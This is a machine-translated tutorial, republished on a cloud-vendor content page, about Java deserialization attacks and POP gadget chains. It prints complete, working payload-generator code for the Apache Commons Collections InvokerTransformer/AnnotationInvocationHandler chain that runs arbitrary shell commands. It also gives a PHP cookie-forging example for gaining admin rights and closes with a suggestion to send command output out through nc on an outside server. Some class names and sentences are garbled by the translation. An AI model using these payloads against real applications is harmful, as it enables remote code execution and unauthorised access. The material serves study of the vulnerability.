From deserialization to command execution -- POP execution chain in Java

Source: Internet
Author: User
Tags printable characters

From deserialization to command execution -- POP execution chain in Java

0x00 Preface

As a non-Java %! @ # &, This document only records the learning and research process of Java deserialization exploitation.

0x01 what is serialization

Serialization is usually used to store the object state when the program is running in binary format in the file system. Then, the serialized object state data can be deserialized in another program to restore the object. Simply put, program objects can be transmitted in two programs in real time based on serialized data.

1. Java serialization example

The above is a simple example of Java deserialization application. In the first code, the program will put the Instance object String ("This is String object! ") Written to the file through the writeObject () function of the ObjectOutputStream class. The serialized object has a certain binary structure. In hexadecimal format, you can view the files that store the serialized object, except for some string constants, we can also see that it has non-printable characters in it, and these characters are used to describe its serialization structure. (For details about the serialization format, refer to the official documentation)

2. Java serialization features

In serialized object data, the first four bytes store the Magic Number unique to the Java serialized object data and the corresponding protocol version, usually:

0xaced (Magic Number)0x0005 (Version Number)

When an object is serialized, Data encapsulation follows the serialization protocol. The Research on the data structure of Java serialized objects is not within the scope of this article. The official documentation provides more detailed instructions. If you need it, you can refer to it on your own. Here we only need to know that the serialized binary data of the Java object usually starts with the four bytes 0xaced0005. The interface for interaction between Java application serialized objects can be searched by monitoring these four special bytes.

In Java, You Can serialize an object into binary data with a certain data format, or restore an instance object from a data stream. The following two classes are used for serialization and deserialization:

// Serialize the object java. io. ObjectOutputStream writeObject () writeUnshared ()... // deserialize the object java. io. ObjectInputStream readObject () readUnshared ()...

Of course, if developers have their own requirements for the serialization process, they can also rewrite the writeObject () and readObject () functions in the object to control some special states and data.

If we need to find the serialization data interaction interface of a Java application, we can directly search for the functions and methods commonly used in serialization and deserialization in the global code, after you find the serialized data interaction interface of the Java application, you can start to consider the specific usage method.

0x02 deserialization hazards

If you are familiar with Python or PHP, you should know that the deserialization process in these two languages can directly lead to code execution or command execution, in Python, if you want to use deserialization to execute commands or code without any restrictions, you can directly execute commands or code as long as there is an deserialization interactive interface. Of course, if you have implemented other security policies, you should analyze them based on the actual situation.

To sum up the potential dangers of the deserialization process in various languages:

Execute logic control (such as variable modification, login bypass) code execution command execution dos...

These security risks exist after the serialization process of most languages. Most successful exploitation processes require certain conditions and environments. Not every language can directly execute arbitrary commands or code like Python, just like the use of stack overflow, various stack protection mechanisms need to be considered.

Once the environment and conditions that can be exploited by deserialization are met through some method, there are many points that can be exploited.

Below is a piece of code that refers to the instance (user. PHP) storing serialized data in the form of cookies in php code ):

<?phpclass User {    public $username = '';    private $is_admin = false;    function __construct($username) { $this->username = $username; }    function isAdmin() { return $this->is_admin; }}    function initUser() {    $user = new User('Guest');    $data = base64_encode(serialize($user));    setCookie('user', $data, time()+3600);     echo '<script>location.href="./user.php"</script>';}    if(isset($_COOKIE['user'])) {    $user = unserialize(base64_decode($_COOKIE['user']));    if($user) {        if($user->isAdmin()) { echo 'Welcome Come Back, Admninistrator.'; }        else { echo "Hello, $user->username."; }    } else {        initUser();    }} else { initUser(); }

This code stores user information in the $ _ COOKIE ['data'] of the client in the form of base64_encode (serialize ($ user, anyone who is sensitive to serialization knows that they can construct the serialized content and pass it to the server to change the code logic. Use the following code to generate $ is_admin = true user information:

<?phpclass User {    public $username = 'Guest';    private $is_admin = true;}    echo base64_encode(serialize(new User()));

Use the generated Payload to modify the Cookie and then access it again to view the output information of Welcome Back and Admninistrator.

The above is just an example of using deserialization to control the code flow in PHP.

Java can also use deserialization to control the code flow (after all, it is an object instance), but in Java, it cannot be used to deserialize a class instance, the class for deserialization must display the Declaration Serializable interface to allow serialization. (For details, refer to the official documentation)

0x03 Attribute-Oriented Programming

Property-Oriented programming (Property-Oriented Programing) is often used in upper-layer languages to construct specific call chains. Similar to the principle of Return-Oriented programming (Return-Oriented Programing) in binary exploitation, they are all looking for a series of code or command calls from the existing runtime environment, and then forming a set of continuous call chains as needed. After controlling the code or program execution process, you can use this group of call chains to do some work.

1. Basic Concepts

During binary exploitation, the drop-down chain is constructed to find the instruction sets that already exist in the current system environment or in the memory environment and have fixed addresses and return operations, the POP chain is constructed to find the attributes (Function Methods) in the objects that have been defined or can be dynamically loaded in the current environment of the program ), combine some possible calls to form a complete and purposeful operation. In binary, memory overflow usually controls the instruction execution process, while deserialization is one of the methods to control the code execution process. Of course, deserialization data can be controlled by user input.

From the above figure, we can know that the drop object is very similar to the POP, but the drop object is more focused on the underlying layer, while the POP only focuses on the call relationship between the objects in the upper layer Language.

2. POP example

VBulletin in the previous unserialize () practice. x. x remote code execution is an example of constructing the POP execution chain during deserialization in PHP. If you are interested, you can browse it. here we will not provide a specific POP example.

0x04 exploitation of Java deserialization

As mentioned above, it is also some of the necessary knowledge that I have learned and summarized when studying the use of Java deserialization by foreigners, the following describes the exploitation process from Java deserialization to arbitrary command execution.

At AppSec2015 in January this year, @ gebl and @ frohoff mentioned "wide alling Pickles", which mentioned that some Java-based general libraries or frameworks can build a set of POP chains so that Java applications can be deserialized. to trigger arbitrary command execution, the corresponding Payload construction tool ysoserial is also provided. A blog post published by foreign FoxGlove security teams in October mentioned that some popular Java containers and frameworks can be used to construct a universal library that can cause arbitrary command execution of the POP chain, it also provides detailed descriptions of each affected Java container or framework, from vulnerability discovery and analysis to specific exploitation structures, and releases the relevant PoC on Github. The general libraries and frameworks that can successfully construct a call chain for command execution are as follows:

Spring Framework <= 3.0.5, <= 2.0.6; Groovy <2.4.4; Apache Commons Collections <= 3.2.1, <= 4.0.0; More to come...

(PS: these frameworks or general-purpose library auxiliary structures can lead to the POP-chain execution environment, the root cause of the deserialization vulnerability is the untrusted input and the security of the deserialization object not detected .)

Most of the articles that explain and analyze Java deserialization to arbitrary command execution have mentioned the Apache Commons Collections Java library, because the POP chain construction process is the easiest to understand in the process of self-learning and research, we will only analyze the Gadget construction process based on Apache Commons Collections 3.x.

InvokerTransformer. transform () Reflection call

The Transformer interface is used to construct a Gadget using the Apache Commons Collections library.

public interface Transformer {       /**     * Transforms the input object (leaving it unchanged) into some output object.     *     * @param input  the object to be transformed, should be left unchanged     * @return a transformed object     * @throws ClassCastException (runtime) if the input is the wrong class     * @throws IllegalArgumentException (runtime) if the input is invalid     * @throws FunctorException (runtime) if the transform cannot be completed     */    public Object transform(Object input);   }

It is mainly used to convert an object to another object through the transform method, while there is an Invoker type conversion interface InvokerTransformer in the interface for object conversion in the library, and the Serializable interface is also implemented.

Public class InvokerTransformer implements Transformer, Serializable {... omitted... private final String iMethodName; private final Class [] iParamTypes; private final Object [] iArgs; public Object transform (Object input) {if (input = null) {return null ;} try {Class cls = input. getClass (); // Method method = cls for retrieving reflection. getMethod (iMethodName, iParamTypes); // obtain the return method with corresponding parameters through reflection. invoke (input, iArgs); // call the method using the corresponding parameter and return the corresponding call result} catch (NoSuchMethodException ex ){... omitted...

You can see that the transform () interface implemented in the InvokerTransformer class uses the Java reflection mechanism to obtain the iMethodName method of iParamTypes for the parameter type in the input of the reflection object, and then calls the obtained method using the corresponding parameter iArgs, and return the execution result. Because it implements the Serializable interface, the three required parameters iMethodName, iParamTypes, and iArgs can be directly constructed through serialization, which creates a decisive condition for command execution.

To use transform () in the InvokerTransformer class to execute arbitrary commands, you also need an entry point so that the application can trigger transform () in InvokerTransformer through a call chain during deserialization () interface.

However, this call exists in Apache Commons Collections. One is the checkSetValue () method in the TransformedMap class:

Public class TransformedMap extends actinputcheckedmapdecorator implements Serializable {... omitting... protected Object checkSetValue (Object value) {return valueTransformer. transform (value );}

TransformedMap implements the Map interface, while valueTransformer. transform (value) is called during the setValue () operation on the dictionary key value ).

... Omitted... public Object setValue (Object value) {value = parent. checkSetValue (value); return entry. setValue (value );}}

Okay, now we have found the previous call of the reflection call. To perform multiple reflection calls multiple times, we can combine multiple InvokerTransformer instances to form a ChainedTransformer object, when it is called, a cascade transform () call will be performed:

Public class ChainedTransformer implements Transformer, Serializable {... omitted... public Object transform (Object object) {for (int I = 0; I <iTransformers. length; I ++) {object = iTransformers [I]. transform (object);} return object ;}

Now we can create a TransformedMap instance to call the ChainedTransformer constructed when we perform the setValue () operation on the dictionary key value. The following sample code is provided:

package exserial.examples;   import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;    import java.util.HashMap;import java.util.Map;    public class SetValueToExec {        public static void main(String[] args) throws Exception {        String command = (args.length != 0) ? args[0] : "/bin/sh,-c,open /Applications/Calculator.app";        String[] execArgs = command.split(",");          Transformer[] transforms = new Transformer[] {                new ConstantTransformer(Runtime.class),                new InvokerTransformer(                        "getMethod",                        new Class[] {String.class, Class[].class},                        new Object[] {"getRuntime", new Class[0]}                ),                new InvokerTransformer(                        "invoke",                        new Class[] {Object.class, Object[].class},                        new Object[] {null, new Object[0]}                ),                new InvokerTransformer(                        "exec",                        new Class[] {String[].class},                        new Object[] {execArgs}                )        };        Transformer transformerChain = new ChainedTransformer(transforms);        Map tempMap = new HashMap<String, Object>();        Map<String, Object> exMap = TransformedMap.decorate(tempMap, null, transformerChain);        exMap.put("1111", "2222");        for (Map.Entry<String, Object> exMapValue : exMap.entrySet()) {            exMapValue.setValue(1);        }    }}

According to the previous analysis, after the above Code is compiled and run, a calculator will pop up by default. If you have any doubts about the detailed code execution process, you can perform the test through one-step debugging:

Now we only tested the use of TransformedMap for arbitrary command execution. to trigger this process in the Java application deserialization process, we also need to find a class, it can call the setValue () function in the built-in MapEntry class of TransformedMap when calling readObject () in deserialization to form a complete Gadget call chain. The parameter of the sun. reflect. annotation. AnnotationInvocationHandler class has a Map type parameter, and all the conditions mentioned above are triggered in the readObject () method. The source code is as follows:

Private void readObject (java. io. objectInputStream s ){... omitted... for (Map. entry <String, Object> memberValue: memberValues. entrySet () {String name = memberValue. getKey (); Class <?> MemberType = memberTypes. get (name); if (memberType! = Null) {// I. e. member still exists Object value = memberValue. getValue (); if (! (MemberType. isInstance (value) | value instanceof predictionproxy) {memberValue. setValue (new AnnotationTypeMismatchExceptionProxy (value. getClass () + "[" + value + "]"). setMember (annotationType. members (). get (name )));}}}}

Note that memberValue is declared as Map in the AnnotationInvocationHandler class. The member variable of is exactly the same as the TransformedMap type previously constructed. Therefore, we can dynamically obtain the AnnotationInvocationHandler class through the Java reflection mechanism, and use the specially constructed TransformedMap as its instantiation parameter, then, serialize the instantiated AnnotationInvocationHandler to obtain binary data, and finally pass it to the serialization data interaction interface with the corresponding environment to trigger the command execution. The complete code is as follows:

package exserial.payloads;   import java.io.ObjectOutputStream;   import java.util.Map;import java.util.HashMap;    import java.lang.annotation.Target;import java.lang.reflect.Constructor;    import org.apache.commons.collections.Transformer;import org.apache.commons.collections.map.TransformedMap;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;  import exserial.payloads.utils.Serializables;    public class Commons1 {      public static Object getAnnotationInvocationHandler(String command) throws Exception {        String[] execArgs = command.split(",");        Transformer[] transforms = new Transformer[] {                new ConstantTransformer(Runtime.class),                new InvokerTransformer(                        "getMethod",                        new Class[] {String.class, Class[].class},                        new Object[] {"getRuntime", new Class[0]}                ),                new InvokerTransformer(                        "invoke",                        new Class[] {Object.class, Object[].class},                        new Object[] {null, new Object[0]}                ),                new InvokerTransformer(                        "exec",                        new Class[] {String[].class},                        new Object[] {execArgs}                )        };        Transformer transformerChain = new ChainedTransformer(transforms);        Map tempMap = new HashMap();        tempMap.put("value", "does't matter");        Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);        ctor.setAccessible(true);        Object instance = ctor.newInstance(Target.class, exMap);             return instance;    }        public static void main(String[] args) throws Exception {        String command = (args.length != 0) ? args[0] : "/bin/sh,-c,open /Applications/Calculator.app";          Object obj = getAnnotationInvocationHandler(command);        ObjectOutputStream out = new ObjectOutputStream(System.out);        out.writeObject(obj);    }}

Finally, you can use a call chain to clearly describe the trigger process of the entire command execution:

/*    Gadget chain:        ObjectInputStream.readObject()            AnnotationInvocationHandler.readObject()                AbstractInputCheckedMapDecorator$MapEntry.setValue()                    TransformedMap.checkSetValue()                        ConstantTransformer.transform()                        InvokerTransformer.transform()                            Method.invoke()                                Class.getMethod()                        InvokerTransformer.transform()                            Method.invoke()                                Runtime.getRuntime()                        InvokerTransformer.transform()                            Method.invoke()                                Runtime.exec()      Requires:        commons-collections <= 3.2.1*/
0x05 Summary

Due to the limited level, you can only stop at this point. It should be clear that the deserialization problem exists not only in a certain language, but most current languages that implement the serialization interface do not perform security checks on the deserialization objects, although there are official documents that do not deserialize untrusted input data, some frameworks often prefer to use serialization to facilitate object transmission between different applications or platforms, this promotes the formation of deserialization vulnerabilities.

The POP Gadget that constructs remote command execution based on the Apache Commons Collections general library can only be said to be an auxiliary shell in the exploitation of Java deserialization vulnerabilities. If the security policy of deserialization is not fundamentally strengthened, in the future, more common libraries or POP Gadget frameworks will emerge for effective use.

(Finally, let's talk about the echo problem. Because the final reflection call is a cascade call, it does not allow secondary use of variables, therefore, it is impossible to output execution results directly in the current session without using external resources (at least I have tried my best ), the simplest way is to use nc or some other services on the external server to obtain the information returned by the command. You must know how to return the execution result to the server. Want to batch? Yes, so easy !)

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.